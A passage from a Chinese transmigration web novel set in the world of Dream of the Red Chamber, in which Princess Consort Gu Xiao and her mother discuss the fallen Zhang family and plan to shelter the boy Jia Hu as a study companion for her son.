隆安侯夫人听着不由暗自点头,自家这个女儿这么多年总算是历练出来了,之前她还担心女儿乍然接手整个王府的内外事务,顾此失彼,如今看起来,女儿心里都有数。至于说放出去这么多人,会不会缺人使唤什么的,那根本就是不可能的事情。开府之后虽说不好再问内务府要人,但是,三个皇庄上多的是人想要进府当差,只要放出话去,为了这个机会恨不得能打破头。 后世,顾晓最烦的就是领导说什么“你不干,有的是人干!”如今,顾晓自己也变成这样的人了! “妈,你难得来一趟,还说这些做甚么!”顾晓亲昵地揽住隆安侯夫人的胳膊,“我前些日子都在忙,如今难得闲下来,还只能在屋里面躺着,早就腻烦得慌,府里头人如今也不好出门,妈,外头有什么新鲜事,你跟我说一说吧!” 看到女儿似乎恢复到了当年还在闺中时候的活泼,隆安侯夫人又是心疼又是好笑,她轻轻拍了拍顾晓的手背,叹道:“都是两个孩子的娘了,还这般不稳重!” 顾晓撇了撇嘴:“在妈这里,我要稳重做什么!” 想着顾晓也是做了好几年王妃的人,为人处世,在外头风评一直不差,可见心中都是有数的,隆安侯夫人便也不再多啰嗦,想了想,却又有些为难起来。 毕竟,之前那场宫变,余波依旧还在,刑部、大理寺、都察院乃至宗人府的牢房都关不下了。圣上盛怒之下,许多牵扯其中的人直接就被下狱,一些人还没等到判决下来,就因为种种原因死在狱中。风声鹤唳之下,京中各家无不谨守门户,谁家敢闹出什么动静来,便是隆安侯府,要不是实在是担心女儿,隆安侯夫人这会儿也老老实实留在自家府里,最多也就是遣人过来问候一下罢了。 尤其,之前那场宫变,虽说与隆安侯府并不相干,但是顾家在京中也多有姻亲故旧,难免有牵扯到其中的,比如隆安侯府如今的二奶奶刘氏,要不是被隆安侯夫人弹压下去,还在要死要活想要给娘家奔走呢!请牢记收藏:,网址 最新最快无防盗免费阅读 第 7 章 见隆安侯夫人神色有异,顾晓不由直起身来:“妈,难道家里出了什么事?怎地不告诉我一声!” 隆安侯夫人见顾晓紧张,连忙伸手拍拍她的背,想让她放松下来。感觉到掌下瘦骨伶仃的手感,不免又是有些心酸,自然更不肯叫女儿烦心,连忙说道:“家里能有什么事!你父亲在鸿胪寺,如今又没哪个藩国敢跟本朝扎刺,他每日里去衙门,也只需要点个卯,然后就是喝茶看书。” “至于你两个兄长,一个已经请封了世子,不过就是跟家里的世交亲朋往来而已,还有一个正忙着读书呢,你父亲说了,等他考上了举人,就给他补个官!”隆安侯夫人摆出一副轻松的样子,很快就转移了话题,“如今大家都在府里头,不好多出门往来,妈知道的也就是家里亲戚的那些事情!” 说着,隆安侯夫人叹了口气:“你还记得张家那位七姑娘吗?” 张家跟顾家说是亲戚,其实也有些远了,顾晓的祖母有个堂妹嫁到了张家,嫁的虽说是嫡支,却非长房,而是三方。但是张家跟顾家其实都是江南士族出身,张家祖籍浙西,顾家祖籍浙东,算得上是乡梓,原本就有些往来。有了一重姻亲关系之后,两家自然愈发走动得勤了。 隆安侯府三个孩子都是正室所出,其他各房都在浙东老家,顾晓比二兄顾昀还小六岁,会说话的时候,二兄都搬到外院去了。因此,小时候只能是跟亲戚家的姐妹一起玩耍,张家几个姑娘便是顾晓小时候玩得比较多的玩伴。 张家七姑娘是长房幼女,那同样也是从小千娇万宠养大的,家里原本想法跟顾家差不多,都是找个相对关系简单的人家嫁了,免得女儿嫁过去之后劳心劳力。 结果张家老爷子当年欠了先荣国公贾源一个人情,贾源是个老谋深算的,儿子还能从军,到了孙子这一辈,一方面没多少立功的机会,另一方面也是富贵乡里长大,不会再有那等刀口舔血的觉悟和勇气。荣宁二府终究是要转型的,那么大孙子就不能再跟勋贵人家结亲,而是应该选个文官做亲家。 只是贾家一开始不过就是土里刨食的泥腿子出身,要不是赶上天下大乱,又跟对了人,如今还不定是个什么情况!因此,正经的书香门第,那都是不乐意跟贾家结亲的,至于那等没什么跟脚的,贾家又觉得不行。眼看着儿媳妇已经打算给大孙子从娘家选媳妇了,一向看不惯自家儿媳的贾源厚着脸皮找上了张家。 张家当时适龄还未定亲的就是六姑娘、七姑娘还有个八姑娘,但是六姑娘是四房庶出,八姑娘又是个有些孤拐的脾气,压根不适合嫁到这等公侯门第,以至于这桩婚事就落到了七姑娘头上。 长房是不乐意跟荣国府结亲的,谁叫老爷子欠了这个人情呢!他们这样的人家,最看重的便是信义二字,自然只能是不情不愿地答应下来。 饶是如此,张家还是以教导为名多留了七姑娘几年,以至于几乎是跟妯娌王氏前后脚进门。 顾晓虽说接收了原身绝大多数的记忆,但是之前还真没全部梳理过,这会儿想起来之后才意识到,妈耶,自己不是穿越到了某个不知名的古代时空,而是在红楼啊!那位张家七姑娘嫁的就是贾赦,也就是说,贾赦勉强算是自己拐弯抹角的表姐夫? 心里翻江倒海,面上却是没怎么表现出来,顾晓只是露出了一点惊讶之色:“张七姐姐我怎么不记得,她嫁到荣国府的时候,我还送了一个金香囊呢!只是后来王府跟荣国府并无什么往来,却是数年不曾见过了!她如今难道出事了?” 隆安侯夫人叹道:“不是她出事了,是张家出事了!” 比起一直低调不露头的顾家,张家身上又没有爵位,自然是一门心思走仕途。张家本朝以来也是人才辈出,张家老爷子是以太子太傅的身份致仕的,老爷子六个儿子,两个进士,三个举人,一个秀才,简直能让那些子孙不肖的人家嫉妒得跳脚。 问题就坏在张家大爷,也就是张七姑娘的父亲身上了,这位之前因为精明能干,被圣上钦点入了詹士府。原本太子地位稳固,詹士府的官员俨然就是圣上专门给儿子准备的班底,前途光明。 哪知道TAI祖TAI宗寿数都不算长,轮到当今圣上,却是个长寿的,几乎年年都有皇子皇女出生,原本和谐的父子之情慢慢开始变质,东宫渐渐就有了风雨飘摇之势。 只是,皇帝可以嫌弃儿子,却不会允许臣子朝三暮四。因此,哪怕张家知道东宫地位不稳,跳船也晚了,只能各种劝谏,其他的,什么也做不了。 这次太子逼宫,张家根本没收到半点消息,偏生作为东宫属官,出了这样的事,根本脱不开干系。 实际上荣国府和宁国府也不干净,贾敬考上进士之后,因为出身问题被同僚排挤,在翰林院根本待不下去,干脆在宁国府的安排下做了东宫属官,贾赦嘛,年纪比太子小得比较多,但是四王八公原本就是圣上给太子安排的助力,贾赦自然是跟东宫走得比较近,甚至,这次宫变,贾赦一开始是知道的。 不过贾代善是个灵醒的,他发现贾赦情绪不对劲,将儿子狠揍了一顿,从贾赦口中得知了真相,差点没吓出毛病来。他本来就是京营节度使,打了个时间差,及时领兵救驾,要不然这次宫变,究竟是鹿死谁手,还未可知。 有了救驾之功,贾代善算是将自家儿子乃至隔壁的侄子给保了下来。只是皇帝这种生物,多半是记仇不记恩的,在他心里,贾代善就算是救驾有功,那也是理所应当的事情,你还想要挟恩求报,那就是大逆不道。 这些日子,贾代善虽说名义上还管着京都大营,实际上兵权已经被收缴了。他本来之前平乱的时候就中了一箭,若是能安心休养,也不会有什么大事,偏生圣上一句明话都没有,他每日里忧心忡忡,老婆孩子还不醒事,只能一个人憋在心里。 这般思虑过甚,不仅新伤没好,反而激起了曾经的旧伤,这些日子一直卧病在床,又因为担心圣上秋后算账,只能硬生生吊着一口气,唯恐圣上追究。 在这样的情况下,荣国府不但没法拉姻亲一把,甚至还得跟张家划清界限。张七姑娘嫁过去之后,上头有偏心的婆婆,下头有不省事的妯娌,贾赦虽说对妻子还算尊重,但是从小就是个纨绔脾气,身边有通房,有姨娘,也就是不叫她们生孩子罢了,对妻子并无太多体贴。 如今张家有难,张氏忧心忡忡,却毫无办法,偏生还要面对婆母的刁难和妯娌的冷嘲热讽,那叫一个心力交瘁,而就在这时候,她还查出来有了身孕,这并没有让她得到解脱,随之而来的却是更多的责难。请牢记收藏:,网址 最新最快无防盗免费阅读 第 8 章 没人管张氏发现有孕的时候已经是三个多月的身子,算起来是宫变之前发生的事情。府里头上上下下只会暗地里说什么,公公卧病在床,娘家还出了事,你们夫妻还有心情敦伦?这是什么?这就是不孝! 道德感过高就是这样不好,内外交困之下,张氏几乎要崩溃了! 之前为了打听张家是个什么情况,张氏病急乱投医之下,给所有知道的在京亲戚都传了消息,隆安侯府自然也不例外。毕竟是从小看大的孩子,隆安侯夫人对张氏也很是怜惜。 尤其贾家的事情,其实很多人都知道,荣国公夫人是个偏心眼,更喜欢从小养在膝下的小儿子,对大儿子一向看不顺眼。爱屋及乌,自然也有恨屋及乌。贾史氏不喜欢贾赦,连带着也看不惯张氏。王氏一进门,就各种抬举小儿媳妇,压着大儿媳妇。以前张家家世雄厚,比起王家强出不知多少,贾史氏也只能暗搓搓做点小动作,如今张家失势,贾史氏自然是落井下石。 隆安侯夫人只能说勉强算张氏的表婶,她能做的也就是叫人给张氏送了些补品,再安慰她一番,比如说张家并没有真的掺和进去,圣上真要是一棒子打死,朝野上下难免不服,圣上年纪大了之后,就非常在乎名声。只要他不想落得一个“暴君”的名头,就不能真的不管不顾。 隆安侯夫人也明白,自己叫心腹出面,也只能是让贾史氏稍微收敛一二,她又不是正经的娘家人,没法给张氏做主,张氏自个不立起来,她也没有办法。 “唉,咱们女人家,嫁人就是第二次投胎,遇上好的还好,遇上个不讲道理的人家,那真是……”隆安侯夫人将自己知道的事情跟顾晓一说,神情那叫一个一言难尽。 “我记得张七姐姐之前生了个儿子?”顾晓回忆了一下,问道。 “可不是嘛!那可是正经的长子嫡孙,叫贾瑚,我之前见过两次,生得也好,人也伶俐!生在贾家,那真是可惜了!”隆安侯夫人摇了摇头,忍不住又叹了口气。 红楼开篇的时候,大房就一个贾琏和贾琮,可见那个孩子夭折了。顾晓不是什么同情心泛滥的人,但是那孩子也要叫自己一声表姨母,明知道他会夭折,却不管不顾,难免良心上有些过不去。 只是,顾晓也不知道贾瑚是怎么夭折的,自然没法提醒,只能是说道:“张七姐姐既然怀了孩子,身体又不好,不如去别庄休养,何苦在府里头苦熬呢?” 隆安侯夫人吃惊地看了顾晓一眼:“这会儿荣国公眼看着快不好了,若是离府休养,还不更多人嚼舌啊!” 顾晓撇了撇嘴,她倒是忘了,这年头一个不孝那真的是要压死人的! “张七姐姐要是一直这样,回头有个不好,留下孩子怎么办?”顾晓很是不赞同地说道,“现在这个样子,只怕荣国府巴不得她没了,好腾出位置来!说不得,他们还觉得逼死了张七姐姐,是为了向圣上表态呢!” “不至于吧,荣国公可不是什么糊涂人!”隆安侯夫人越想越觉得女儿说的有道理,嘴上却还是有些不确定地说道。 “荣国府长幼不分的事情,我在王府不怎么出门的都听说了,可见荣国公也是个糊涂的!”顾晓毫不客气地吐槽道,“而且他如今卧病在床,府里的事情还不都捏在荣国公夫人手里,荣国公夫人不叫他知道的,他能知道什么?” “唉,要是张家的判决早点下来就好了,好歹不要让人一直悬着心!”隆安侯夫人有些无奈,摊上这等谋逆大案,历朝历代秉承的原则都是有杀错,不放过,张家老爷子就算是致仕了,也顶着个太子太傅的名头,要不是老爷子年纪大了,已经回了老家,只怕连老爷子都得下狱查问。张修贤也是如此,你在东宫任职多年,谁相信你什么都不知道啊! “可惜我们府里还在守孝,要不然的话,倒是可以去探望一下张七姐姐,荣国府那边也好多些顾忌!”顾晓再如何同情张氏,也觉得很是棘手。 隆安侯夫人正要附和,就听外头传来了声音:“娘娘,夫人,小王爷已经下了学,马上就过来了!” 顾晓赶紧说道:“赶紧准备热水毛巾,等小王爷来了梳洗!也跟钰儿说一声,他外祖母来了,也该换身衣服!” 几个丫头答应下来,各自前去准备。 “都是自家骨肉,何苦要劳烦孩子!”听到顾晓让外孙换衣服,隆安侯夫人不免有些不乐意起来。这天已经入了秋,天气也有了凉意,若是换衣裳的时候吹了风,那可怎么是好! 顾晓连忙说道:“妈,我这些日子身上不好,怕他过来染了病气,原本要让他多换衣裳的!” 说是怕徒嘉钰染了病气,实际上是担心徒嘉钰从外头带了什么不干净的东西进来,顾晓如今体虚,万事都得小心。隆安侯夫人自然也不会疼爱外孙超过疼爱女儿,她当下就不再多说了。王府也不缺那几件衣裳,何苦让女儿冒这个风险呢! 不多久,徒嘉钰就进来了,他已经换了一身竹青色交领外袍,腰间系着一条松花汗巾,坠着宝蓝色葫芦形小荷包,看起来跟小大人一般。 他进来就给隆安侯夫人行礼:“见过外祖母!外祖母一向可好?”虽说隆安侯夫人来王府次数不多,但是徒嘉钰还记得,逢年过节还有自己生日的时候,隆安侯府送来的各种礼物,除了常规的东西之外,还有不少吃的用的,一看就知道用了心思。徒嘉钰身边伺候的乳母丫头都是原身安排的,自然会掰开来跟徒嘉钰说外家如何关爱。时间长了,徒嘉钰自然知道,外祖家对自己的各种好,这会儿看到隆安侯夫人,便颇为亲近。 隆安侯夫人连忙起身让开,等着徒嘉钰给顾晓问了安,便拉着他坐下,连声问候起来:“小王爷这些日子可好?读的什么书?可有什么不顺心的地方?”请牢记收藏:,网址 最新最快无防盗免费阅读 第 9 章 顾晓对徒嘉钰的功课并不算上心,说白了,徒嘉钰这样的身份,出生就已经在别人的终点线了,根本用不着努力上进。何况,在顾晓心里,徒嘉钰这个年纪的孩子,正是该好好玩耍的时候,所以,哪怕是让他带着弟弟读书,也是一种近似于玩乐的态度,并没有什么要求。 徒嘉钰听着隆安侯夫人关心自己功课,反而觉得有些成就感,连忙说道:“正在读《声律启蒙》,我还给弟弟讲呢!” “可不是,这兄弟两个,也是亲香得很!”顾晓笑道,“钰儿如今就喜欢给弟弟念书,小的也听得来劲,等小的醒了,妈你看了就知道了!” 隆安侯夫人听得高兴,一母同胞的兄弟两个,相亲相爱自然再好不过,她看着徒嘉钰,越看越是喜欢:“好孩子,现在就知道教导弟弟了!你妈妈是个惯孩子的,以后啊,弟弟要是不听话,还得你这个做哥哥的多管教一些!” 徒嘉钰听着,胸脯越挺越高,嘴角也忍不住翘了起来,如同一只骄傲的小公鸡。 不多久,就到了用饭的时候。 顾及顾晓的身体,饭就摆在次间碧纱橱里。春雨春燕扶着顾晓起身更衣,稍稍挽了头发,戴上抹额,这才扶着顾晓入座。 已经出了热孝,饮食上便也没那么多规矩。顾家是江南人,隆安侯夫人出身扬州,因此这会儿桌上就有一道黄芪鸡汤,一道八宝鸭子,一道清蒸白水鱼,一道蟹粉狮子头,还有徒嘉钰喜欢吃的炸鹌鹑,另有几样蔬菜羹汤,满满地摆了一桌。 几个丫头各自站定,先是给顾晓和隆安侯夫人盛了一碗黄芪鸡汤,这汤理气补虚,却不适合小孩子食用,因此,另外给徒嘉钰盛了一碗虾丸鸡皮汤,各自拿着调羹喝了一小碗。这才每人盛了一小碗碧粳米饭,按照各自的口味布菜。 隆安侯夫人一边吃,一边暗自关注着女儿和外孙,顾晓身体还比较虚弱,并无太多胃口,因此不过吃了一小碗汤,夹了鱼肚子上两块肉,吃了一口木耳,两筷子豆芽便不再吃了。倒是外孙胃口很好,除了汤之外,吃掉一整个狮子头,两个炸鹌鹑,八宝鸭子也吃得不少,反倒是蔬菜只吃了两口。 漱口净手之后,还听春晓高兴地说道:“夫人来了之后,娘娘饭都多吃了两口呢!夫人以后可要常来才是!”隆安侯夫人口中答应,心中却是有些忧心。 顾晓笑道:“我就是整日里待在屋中,不怎么动弹,自然饭量也就小了!” 隆安侯夫人说道:“人还是要动动,如今天还没有冷,日头好的时候可以去花园里散散,开了胃口,人也好得快!” 顾晓点了点头,又说道:“之前问了太医,说是暂时不叫我吹风呢,我回头问问有没有能在屋里做的运动,这躺得久了,骨头都要僵了!” “没错,妈又不能天天看着你,你自己的身体,自己得多上上心!”隆安侯夫人少不得又絮叨起来。 好在小家伙醒了,开始闹腾起来,乳母赶紧抱过来。徒嘉钰也没听明白之前外祖母和母亲说的是什么,正百无聊赖,一听弟弟来了,立马来了精神,跑过去逗弄弟弟。 这兄弟两个在那里鸡同鸭讲,居然也挺和谐。 隆安侯夫人看着徒嘉钰在手舞足蹈地给弟弟念《声律启蒙》,嘴角不由露出了笑意,然后问道:“我听着下头一直叫三公子,小王爷就是叫弟弟,该不是至今没给孩子起名字吧!” 顾晓有些无奈,说道:“原本想着让他父王取名的,谁能想到出了这样的事情。我想着,是不是能等到圣上开恩,给孩子赐个大名,因此如今只想着取个小名便是!之前跟钰儿说了让他给弟弟取小名,钰儿现在还没决定好呢!” 听到顾晓居然将小儿子的命名权给了大儿子,隆安侯夫人的眼神变得有些一言难尽,她想要说什么,最后还是什么也没说,只得摆了摆手:“也罢,所谓长兄如父,你们府里以后就是小王爷当家做主了,给弟弟取个小名也不是说不过去!” “小王爷虚岁也有七岁了,出了孝,是不是就要入弘文馆读书了?”隆安侯夫人又问道。 “可不是嘛,可惜几个侄子年纪跟他相差都有点大,要不然倒是可以找个表兄弟做伴读!”顾晓有些遗憾地说道。弘文馆里的先生,那再次也是翰林学士,能得他们指点,对大多数孩子来说,都是一件难得的事情。 不过这对顾家来说,也就是锦上添花。 顾家前朝的时候就是官宦世家,前朝熹宗的时候,天下就已经有了乱象,及到末帝时候,已经是积重难返。顾家那位先祖当时官至户部侍郎,眼看着情况不好,便最后进谏了一番,惹怒了末帝,被打了一顿廷杖,干脆利索辞官回乡了。 后来TAI祖在金陵起兵,张贴榜文求贤,顾家先祖便让长子前往投靠。 一开始无非是想要在兵锋之下保住顾家的基业,哪知道还真让徒家成了事。顾家因为从龙甚早,虽说担任的多半是文职,除了守过城之外,并未真正参战,却是一直安定后方,保证后勤供应。因此到大魏立国,论功行赏的时候,顾家没够得上国公的爵位,而是封了侯,世袭三代不降。 但本质上来说,顾家还是标准的书香门第。除了侯府这一支之外,顾家其他各房如今还依旧靠科举晋身,开国五十多年来,顾家族人里也有三四个进士,十多个举人,秀才童生更是不少。 就像是后世搞学术有学阀一样,这年头科举也是有学阀的。像是顾家这样的人家,几乎是代代有人为官,又与许多耕读之家联络有亲,在科举上头早有自己的门路和心得。寻常寒门子弟,如果说寒窗苦读十年,一百个里面都出不了一个秀才的话,那么顾家这样的人家,十个里头差不多就能出两三个秀才,这还是因为江南文风昌盛,科举名额不够的缘故,放到北方,只会比例更大。 所以,顾家人若是想要翰林学士的指点,那真的很容易,不必冒着三天两头被打板子的风险给龙子凤孙当什么伴读。 隆安侯夫人因此口不应心地表示了一下遗憾,然后却是眼睛一亮:“既然小王爷要选伴读,我倒是有个人选!”请牢记收藏:,网址 最新最快无防盗免费阅读 第 10 章 “妈,你说的该不会是张七姐姐家的贾瑚吧?”顾晓脑子一转,就猜出来隆安侯夫人的想法,不由问道。 “可不是嘛!”隆安侯夫人叹道,“要是张家还在,那孩子读书的事情真没什么好说的,直接去张家族学里面附学便是,可如今张家这般天地,纵然老家还有族学,总不能千里迢迢将孩子送浙西去!至于贾家,呵,贾敬倒是沾了先宁国公夫人的光,得以拜了名师,自个也有几分聪明运道,科举出仕,可他能给瑚哥儿做先生吗?至于他们府上的那什么族学,居然只有个老秀才做先生。那个自个读书都没读明白,能教得了别人?” “瑚哥儿也就比钰儿大一岁,张七姐姐能放心?”顾晓想着贾瑚很可能近几年就会夭折,顿时就有些犹豫不定起来。 “瑚哥儿留在荣国府,那才叫人不放心呢!”隆安侯夫人没好气地说道,“也不知道他们家是个什么家风,长幼不分,家宅不宁。张家七丫头现在又怀着,自己都顾不上自己。万一有人想要捣鬼,说不得就要拿瑚哥儿作筏子,与其见招拆招,还不如先跳出来,免得被人趁虚而入!” 顾晓上辈子看,提到贾瑚,大家都阴谋论说他是被二房甚至是贾史氏一起害死的,如今想起来,这个可能性是真的不小。一个六七岁的孩子,还是出身富贵,有着良好的生活条件和医疗条件,除非得什么不治之症或者是遇上什么致命的意外,真不是那么容易夭折的。 这般一想,顾晓便点了点头,说道:“妈你说的有道理,只是我们府里如今还在孝期,却是不好直接去荣国府说这事,还是要劳烦妈你走一趟!” 隆安侯夫人叹道:“你张七姐姐也是我看着长大的,没办法也就算了,如今既然能伸一把手,还是伸一把手来得好!” 说到这里,又想到自家那个糟心的二儿媳妇,隆安侯夫人愈发想要叹气了。顾晓的二哥顾旻娶的妻子刘氏其实也是顾家的老亲,顾晓的一个姑母就嫁到了刘家,正是刘氏的婶母。 刘家二十年前出过一个内阁次辅,可以说是宰相门第了。但是到了刘氏的父辈,就开始走下坡路了。顾旻的岳父勉强考中了举人,之后便屡试不第,其他人还不如他岳父。再下一辈同样没什么出挑的,再这么下去,刘家真的是要沉寂下去了。 刘家自然是不乐意如此的,只是科举这种事情,不光是要看学问,还得看时运。顾旻的岳父自觉时运不济,便不打算皓首穷经,在科举上死钻到底,干脆就以举人的身份补了官。 刘家终究是出过宰相的人家,之前没人出仕,自然这些关系用不上。既然有人出仕了,那有着老相爷的香火情分在,很多人都是乐意给刘家行一些方便的。因此,这位刘大人不过是数年时间,便从一个中下县的县丞,几度升迁,最后竟混到了杭州织造衙门。 杭州织造在三大织造里面排名不高,但依旧是个极有油水的衙门,当然,惦记的人也比较多。 太子要逼宫,自然需要花钱,没钱谁跟你干这种掉脑袋的事情,结果刘家就搭上了太子的线。每年额外的丝绸卖给那些海商,得的钱大半都孝敬给了东宫。 如今追究起来,刘家哪里能得了好! 顾家之前根本不知道有这回事,以至于听说刘家的罪名之后,只恨不得没认识过这个亲家!为了升官,将根本都忘了!夺嫡这种事情,是你这种小卡拉米能掺和的吗?这下好了,一家子都搭进去了。 隆安侯府这些日子谨守门户,有很大原因就是摊上刘家这样一个姻亲。刘氏也明白,家里犯了这样的事,算是一家子都搭进去了,也亏得如今讲究祸不及出嫁女,顾家也是讲究人家,要不然,她最好也得教坊司走起。只是,想到父母兄弟的下场,刘氏就忍不住每日里哭天抹泪,几个月下来,几乎没把眼泪都哭干了。 刘氏倒是没有纠缠婆家帮忙,但是这般作态,也着实叫顾家人有些吃不消。尤其刘氏还有两个孩子,儿子倒是每天出去念书,女儿却是经常待在家里的。她天天在家哭自己命苦,把女儿吓得不轻,以至于如今天天往隆安侯夫人那里躲。 隆安侯夫人秉承的理念就是一代人管一代人,她是不乐意多管孙子孙女的事情的,而且,大房的女儿又没养在她那里,你二房的天天泡在那里算怎么回事!最重要的是,你现在已经是顾家人了,娘家的事情,能搭把手的,顾家不会二话,但是这等要命的事情,顾家可以在尘埃落定之后看看能不能让活下来的人日子过得舒服一些,至于其他的,顾家做不到,也不能做。 结果你每日里以泪洗面,一问就是一副期期艾艾的模样,搞得就像是顾家对不起刘家一样,这谁不膈应啊! 当着顾晓的面,隆安侯夫人也不提这个不愉快的话题,只是说道:“你先好好将养,要是觉得请太医怕麻烦,妈知道一个擅长调理身体的好大夫,回头妈就叫人去请,三天给你请个平安脉,总得先把身体养好了再说!至于你张七姐姐那里的事情,妈回头就先叫人过去传个话!” “还是妈对我好!”顾晓如同小姑娘一样偎依着隆安侯夫人撒娇,弄得隆安侯夫人都有些惆怅起来,嘴上却是念叨道:“你啊,有哄我这个功夫,这些年也不至于日子过成这样!” 顾晓撇了撇嘴,说道:“妈你真心疼我,我才这样,换做是其他人,美得他!” 隆安侯夫人听得无可奈何,好在如今也没人需要顾晓做低伏小了,宫里头如今也没太后和皇后,甄贵妃倒是得宠,但是想要让顾晓和她那些妯娌入宫朝贺,还是欠了点,因此只得点了点顾晓的额头:“行啦,你也不小了,有的时候,装也要装出个样子来的!时候也不早了,我也该回去了!” 见顾晓露出不舍之色,她赶紧说道:“以后要是有事,你叫人给家里传个信,妈就过来看你!”请牢记收藏:,网址 最新最快无防盗免费阅读 第 11 章 张氏大概是真的撑不住了,她出身大家,从小也是个极骄傲的性子,也没受过什么挫折。 虽说嫁给贾赦并不在她的预期之内,但是老实说,做荣国府的大奶奶前些年哪怕贾史氏偏心,也真没对张氏造成多少麻烦。 贾史氏不是农村那种泼妇老太太,人家终究是出身大家,言辞举止,都是有规矩的。她让儿媳妇伺候饮食,那也是一视同仁,不会因为她偏心贾政就不让王氏伺候了。平常说话也不会夹枪带棒,明面上都是一副慈和婆婆的模样。 贾代善还在,贾史氏更多的是在丈夫耳边说大儿子如何纨绔不成器,只知道吃喝玩乐,不像是小儿子一样读书上进,她傻了才会在丈夫那里说儿媳妇的坏话。 当然,最重要的还是张家那会儿还很厉害,一大家子好几个人在朝为官,张家老爷子更是清流里面的领袖人物,贾史氏还得惦记着让大儿媳妇娘家提携一下小儿子呢,怎么会明目张胆对张氏如何。 因此,贾史氏做的无非就是将家里更有油水的管家任务给二房,给大房的却是更劳心劳力却讨不到什么好的差事。另外就是,两房都有了孩子之后,明面上一视同仁,私底下都要额外给二房贾珠多一份,等到王氏大年初一生下贾元春的时候,更是大肆宣称这个孩子如何有福气,跟贾代善一天生日,又将这个孙女养在了自己身边。 张氏以前对这些根本不在乎,荣国府为了聘她为妇,给的聘礼十分丰厚,张家也是讲究人家,不仅让张氏将聘礼都带了回来,还额外给了张氏许多嫁妆。而且张家讲究的是好男不吃分家饭,就算贾史氏将自个的私房都给了二房又如何?荣国府的大头还是爵产,这些都是要留给袭爵的贾赦的。 所以,以前贾史氏的那点偏心,其实都在张氏能够容忍的范围之内。但是如今,张家那边出了事,贾家俨然生出了其他心思。 贾代善是个明白人,好不容易娶到一个书香世家的儿媳妇,就算是张家坏了事,还有许多姻亲帮衬,真要是如贾史氏私底下所说,让张氏病逝,跟张家划清界限,贾家在文人圈子里的名声那肯定是臭掉了,再想要谋求家族转型,难度直线上升。 可问题是,贾代善如今自个都已经只剩下一口气吊着,哪里能跟贾史氏掰开揉碎了说自个的打算。贾史氏本身也不是什么有长远目光的,她自个出身侯府,从小到大,见惯了勋贵人家的富贵,贾代善因为军功得以不降爵袭了国公,她也因此成了超品的国公夫人,她娘家史家也同样是军功立身,几代人都在军中打滚,保龄侯的爵位还能再多袭一代。 而她见过的那些文官呢,一代考不上,下一代就跟平民百姓无异了。因此,以贾史氏的价值观就是,咱们这样的人家,随随便便就能当官,何苦去跟寒门子弟争什么金榜题名呢?所以,贾珠读书读得好,她也高兴,贾宝玉不喜欢读书,她也乐于纵容。至于子孙后代如何,我这把年纪了,只管高乐便是,我死之后,哪管洪水滔天呢! 贾史氏如今心里头想的就是,张家已经完蛋了,那留着张氏做什么!老大之前似乎也掺和到了之前的宫变里,这会儿正该劝丈夫改立次子为世子,说不得,宫里一直没消息,就是因为丈夫还想要让长子袭爵呢! 贾史氏就不明白了,贾代善平常也未必就如何喜欢贾赦这个大儿子,怎么偏生在这件事上,就这么顽固呢? 贾代善能怎么跟这个看着聪明,其实糊涂的媳妇说,别看太子已经没了,但是终究是圣上疼爱了几十年的嫡子,而且死得也惨烈!要不是太子是明目张胆谋逆的,圣上还想要以太子的礼仪将儿子厚葬呢!即便是下头的人劝谏,最终这位太子还是以亲王的规格附葬皇陵的。 跟这位比起来,另外几个参与宫变的皇子简直像是后娘带来的,死了也要贬为庶人,一家子都被开除宗籍,还圈禁了起来,不知道什么时候能恢复自由! 由此可见,圣上心里头对嫡长还是很看重的,对外一直表示,自己从没有废太子的想法,太子都是被奸人迷惑,这才作出了那等大逆不道之事。你如今为了撇开干系,改立次子,以圣上那个小心眼,就算当时批复了,后头也会秋后算账。 当然,立贾赦,对圣上来说,也挺膈应的。毕竟,贾赦是宫变的知情者,是被贾代善狠揍了一顿才说漏了嘴,算是铁杆的太子党,太子都没了,圣上恨不得将所有与他有关的人都陪葬,哪里看得惯贾赦,因此,即便贾代善的折子已经递上去很长时间了,圣上却一直没有批复。 做皇帝的人,就是可以任性!根本不会理会,这皇权的任性会给下头的人带来什么,张氏就是典型的牺牲品。 娘家出了事,婆家展露出了叫她齿冷的恶意,偏生丈夫又是个靠不住的,张氏如今怀着孩子,整个人濒临崩溃! 之前隆安侯府的人来了一趟,贾家这边稍微消停了一些,但是很快就故态复萌,那些下人看似恭敬,最里头却各种阴阳怪气,甚至是指桑骂槐,恨不得立刻气死她。这也罢了,对她这样,她还能忍耐,但是,已经有人将手伸到贾瑚身上了。 张氏这些日子晚上根本睡不着,前几天晚上惊醒后,便干脆批了衣服去看贾瑚。结果发现,贾瑚身边连个守夜的婆子都没有,身上被子也只有半截,一摸身上冰凉。 张氏气得倒仰,这边才想要将贾瑚身边的丫头婆子撵出去,那边贾史氏的人就来跟张氏说什么宽仁。张氏顿时就明白,荣国府不光想要让自己死,只怕连贾瑚也不会放过。 如今隆安侯府传了消息过来,说是可以让贾瑚去给嗣平王做伴读,张氏顿时就如同抓住了救命稻草一般,当下也不耽误,直接往荣禧堂去了。请牢记收藏:,网址 最新最快无防盗免费阅读 第 12 章 “你说,平王府有意选瑚儿去给小王爷做伴读?”贾史氏听得张氏的说法,被唬了一跳。 之前隆安侯府有人过来,贾史氏其实没怎么放在心上,都八竿子打不着的亲戚了,隆安侯本来在勋贵中也是异类,跟他们四王八公压根没什么往来,没必要给隆安侯府什么面子。就算是张氏死了,隆安侯府还能作为娘家人来给张氏喊冤不成! 哪知道,这顾家不仅多管闲事,还真有那个能耐! 贾史氏这会儿才想起来,人家隆安侯府虽说不显山不露水的,人家出了个正经的王妃呢!当然,如今已经是太妃了! 经过一场宫变,宗室损失惨重,顾晓算是运道好的,生下了嫡长子能袭爵。像是宁王府,王妃嫁过来数年,只生了个女儿,府里的皇孙是侧妃所出。本朝吸取了前明的教训,对于宗室封爵一向卡得很紧。除非与国有功,否则的话,都得降等袭爵。亲王嫡长子封郡王,嫡次子就是镇国将军,若有其他嫡子,只能是辅国将军,轮到庶子,庶子少还好,运气好还能封个奉国将军,多了,有的连奉国中尉都封不上,只能作为闲散宗室领一点生活费罢了。 若是王妃无子,除非能得圣上恩典从兄弟家里过继一个嫡子,要不然庶子袭爵,就也只能是镇国将军。 宗室里头聘妇,都得选那等家里子嗣繁茂的,提升生嫡子的概率。要不然自己这一系的富贵就要少传承一代,谁肯干呢?也正因为如此,即便先平王再如何喜欢自个表妹,也得先跟原身生下嫡长子再说。 